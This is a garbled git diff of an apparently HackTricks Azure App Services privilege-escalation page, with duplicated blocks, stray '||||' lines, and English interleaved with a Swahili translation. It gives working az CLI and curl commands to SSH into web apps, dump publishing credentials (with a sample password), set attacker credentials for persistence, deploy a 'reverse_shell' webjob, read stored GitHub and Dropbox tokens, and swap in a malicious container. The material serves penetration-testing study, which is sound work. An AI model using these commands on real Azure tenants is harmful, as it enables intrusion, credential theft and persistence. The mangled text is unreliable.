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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
Translator
@@ -425,6 +425,7 @@
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- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
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- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
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- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
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- [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md)
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- [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md)
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- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
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- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)
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+145
-169
@@ -4,7 +4,7 @@
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## App Services
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For more information about Azure App services check:
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Kwa maelezo zaidi kuhusu Azure App services angalia:
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{{#ref}}
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../az-services/az-app-services.md
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@@ -12,17 +12,14 @@ For more information about Azure App services check:
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### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
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These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
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- **SSH in single command**:
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Ruhusa hizi zinaruhusu kupata **SSH shell** ndani ya programu ya wavuti. Pia zinaruhusu **debug** programu hiyo.
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- **SSH katika amri moja**:
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```bash
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# Direct option
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az webapp ssh --name <name> --resource-group <res-group>
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```
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- **Create tunnel and then connect to SSH**:
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- **Unda tunnel kisha unganisha na SSH**:
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```bash
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az webapp create-remote-connection --name <name> --resource-group <res-group>
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@@ -35,152 +32,146 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
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## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
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ssh root@127.0.0.1 -p 39895
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```
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- **Debug the application**:
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1. Install the Azure extension in VScode.
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2. Login in the extension with the Azure account.
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3. List all the App services inside the subscription.
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4. Select the App service you want to debug, right click and select "Start Debugging".
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5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
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1. Install the Azure extension in VScode.
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2. Login in the extension with the Azure account.
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3. List all the App services inside the subscription.
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4. Select the App service you want to debug, right click and select "Start Debugging".
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5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
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### Obtaining SCM Credentials & Enabling Basic Authentication
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To obtain the SCM credentials, you can use the following **commands and permissions**:
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Ili kupata akreditivu za SCM, unaweza kutumia **commands and permissions** zifuatazo:
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- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
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```bash
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az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
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# Example output
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||||
[
|
||||
{
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||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
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||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
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"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Kumbuka jinsi **jina la mtumiaji daima ni sawa** (isipokuwa katika FTP ambayo inaongeza jina la programu mwanzoni) lakini **nenosiri ni sawa** kwa wote.
|
||||
|
||||
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
|
||||
|
||||
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
|
||||
Zaidi ya hayo, **URL ya SCM ni `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- Ruhusa **`Microsoft.Web/sites/config/list/action`** inaruhusu kuita:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
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Kumbuka jinsi **akili ni sawa** na katika amri ya awali.
|
||||
|
||||
Note how the **credentials are the same** as in the previous command.
|
||||
|
||||
- Another option would be to **set you own creds** and use them:
|
||||
|
||||
- Chaguo lingine lingekuwa **kweka akili zako mwenyewe** na kuzitumia:
|
||||
```bash
|
||||
# Show if any user is configured (password won't be shown)
|
||||
az webapp deployment user show
|
||||
|
||||
# Set your own credentials
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
|
||||
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
|
||||
```
|
||||
Kisha, unaweza kutumia hizi credentials **kuingia kwenye jukwaa la SCM na FTP**. Hii pia ni njia nzuri ya kudumisha uvumilivu.
|
||||
|
||||
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
|
||||
|
||||
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
|
||||
Kumbuka kwamba ili kuingia kwenye jukwaa la SCM kutoka **mtandao unahitaji kuingia kwenye `<SCM-URL>/BasicAuth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
|
||||
|
||||
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
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> Kumbuka kwamba kila mtumiaji anaweza kuunda credentials zake mwenyewe kwa kuita amri ya awali, lakini ikiwa mtumiaji hana ruhusa za kutosha kuingia kwenye SCM au FTP, credentials hazitafanya kazi.
|
||||
|
||||
- Ikiwa unaona kwamba hizo credentials zime **REDACTED**, ni kwa sababu unahitaji **kuwezesha chaguo la uthibitishaji wa msingi wa SCM** na kwa hiyo unahitaji ruhusa ya pili (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Publish code using SCM credentials
|
||||
|
||||
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
|
||||
Kuwa na akreditif za SCM halali inawezekana **kuchapisha msimbo** kwenye huduma ya App. Hii inaweza kufanywa kwa kutumia amri ifuatayo.
|
||||
|
||||
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
|
||||
|
||||
Then you can **publish the code** in a web app with the following command:
|
||||
Kwa mfano huu wa python unaweza kupakua repo kutoka https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, fanya **mabadiliko** yoyote unayotaka na kisha **zip kwa kukimbia: `zip -r app.zip .`**.
|
||||
|
||||
Kisha unaweza **kuchapisha msimbo** katika programu ya wavuti kwa kutumia amri ifuatayo:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
|
||||
|
||||
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
|
||||
|
||||
- Read **Webjobs** logs:
|
||||
Ruhusa iliyoelezwa ya Azure inaruhusu kufanya vitendo kadhaa vya kuvutia ambavyo vinaweza pia kufanywa kwa kutumia SCM credentials:
|
||||
|
||||
- Soma **Webjobs** logs:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
@@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
--user '<username>:<password>' -v
|
||||
```
|
||||
|
||||
- Read **Webjobs** source code:
|
||||
|
||||
- Soma **Webjobs** msimbo wa chanzo:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
- Create **continuous Webjob**:
|
||||
|
||||
- Unda **Webjob endelevu**:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
|
||||
|
||||
Hizi ruhusa zinaruhusu **kuteua utambulisho wa kusimamiwa** kwa huduma ya App, hivyo ikiwa huduma ya App ilishambuliwa hapo awali hii itaruhusu mshambuliaji kuteua utambulisho mpya wa kusimamiwa kwa huduma ya App na **kuinua mamlaka** kwao.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
|
||||
|
||||
Ruhusa hii inaruhusu kuorodhesha **connection strings** na **appsettings** za huduma ya App ambazo zinaweza kuwa na taarifa nyeti kama vile akidi za database.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Soma Akikodi za Watu wa Tatu Zilizowekwa
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
Kukimbia amri ifuatayo inawezekana **kusoma akidi za watu wa tatu** zilizowekwa katika akaunti ya sasa. Kumbuka kwamba ikiwa kwa mfano akidi za Github zimewekwa kwa mtumiaji tofauti, huwezi kupata token kutoka kwa mwingine.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Amri hii inarudisha tokeni za Github, Bitbucket, Dropbox na OneDrive.
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
Hapa kuna mifano ya amri za kuangalia tokeni:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
|
||||
### Update App Code from the source
|
||||
|
||||
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
|
||||
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
|
||||
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- To get the SCM credential you need the permission:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
- Ikiwa chanzo kilichowekwa ni mtoa huduma wa tatu kama Github, BitBucket au Azure Repository, unaweza **kusaidia kuboresha msimbo** wa huduma ya App kwa kuathiri msimbo wa chanzo katika hifadhi.
|
||||
- Ikiwa programu imewekwa kutumia **hifadhi ya git ya mbali** (ikiwa na jina la mtumiaji na nenosiri), inawezekana kupata **URL na akreditif za msingi za uthibitishaji** ili kunakili na kusukuma mabadiliko kwa:
|
||||
- Kutumia ruhusa **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Kutumia ruhusa **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Ikiwa programu imewekwa kutumia **hifadhi ya git ya ndani**, inawezekana **kunakili hifadhi** na **kusukuma mabadiliko** ndani yake:
|
||||
- Kutumia ruhusa **`Microsoft.Web/sites/sourcecontrols/read`**: Unaweza kupata URL ya hifadhi ya git kwa `az webapp deployment source show --name <app-name> --resource-group <res-group>`, lakini itakuwa sawa na URL ya SCM ya programu yenye njia `/<app-name>.git` (mfano `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- Ili kupata akreditif za SCM unahitaji ruhusa:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Kisha endesha `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Kisha endesha `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
|
||||
|
||||
> [!WARNING]
|
||||
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
|
||||
> Kumbuka kwamba kuwa na ruhusa `Microsoft.Web/sites/config/list/action` na akreditif za SCM daima inawezekana kupeleka kwenye webapp (hata kama ilipangwa kutumia mtoa huduma wa tatu) kama ilivyotajwa katika sehemu ya awali.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
|
||||
> Kumbuka kwamba kuwa na ruhusa zilizo hapa chini pia ni **uwezekano wa kutekeleza kontena chochote** hata kama webapp ilipangwa tofauti.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
|
||||
|
||||
Hii ni seti ya ruhusa inayoruhusu **kubadilisha kontena kinachotumiwa** na webapp. Mshambuliaji anaweza kuitumia kuifanya webapp kutekeleza kontena hatari.
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,33 +4,34 @@
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma ya programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha utendaji na usimamizi.
|
||||
Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma za programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha kazi na usimamizi.
|
||||
|
||||
Kila programu inafanya kazi ndani ya sandbox lakini kutengwa kunategemea mipango ya App Service:
|
||||
|
||||
- Programu katika ngazi za Bure na Kushiriki zinafanya kazi kwenye **VM zinazoshirikiwa**
|
||||
- Programu katika ngazi za Kawaida na Kitaalamu zinafanya kazi kwenye **VM zilizotengwa zinazoshirikiwa tu na programu** katika mpango huo wa App Service.
|
||||
- Programu katika ngazi za Kawaida na Kitaalamu zinafanya kazi kwenye **VM zilizotengwa zinazoshirikiwa tu na programu** katika mpango sawa wa App Service.
|
||||
- Ngazi za Kutengwa zinafanya kazi kwenye **VM zilizotengwa kwenye mitandao halisi iliyotengwa**, kuboresha kutengwa kwa programu.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **hakuna** ya kutengwa hizo **inaweza kuzuia** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**.
|
||||
> Kumbuka kwamba **hakuna** ya kutengwa hizo **inaepusha** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**.
|
||||
|
||||
Programu zina baadhi ya mipangilio ya kuvutia:
|
||||
Programu zina mipangilio ya kuvutia:
|
||||
|
||||
- **Daima On**: Inahakikisha kwamba programu inafanya kazi kila wakati. Ikiwa haijawashwa, programu itasimama kufanya kazi baada ya dakika 20 za kutokuwa na shughuli na itaanza tena wakati ombi litakapopokelewa.
|
||||
- Hii ni muhimu ikiwa una kazi ya wavuti inayohitaji kufanya kazi bila kukatika kwani kazi ya wavuti itasimama ikiwa programu itasimama.
|
||||
- **SSH**: Ikiwa imewashwa, mtumiaji mwenye ruhusa ya kutosha anaweza kuungana na programu kwa kutumia SSH.
|
||||
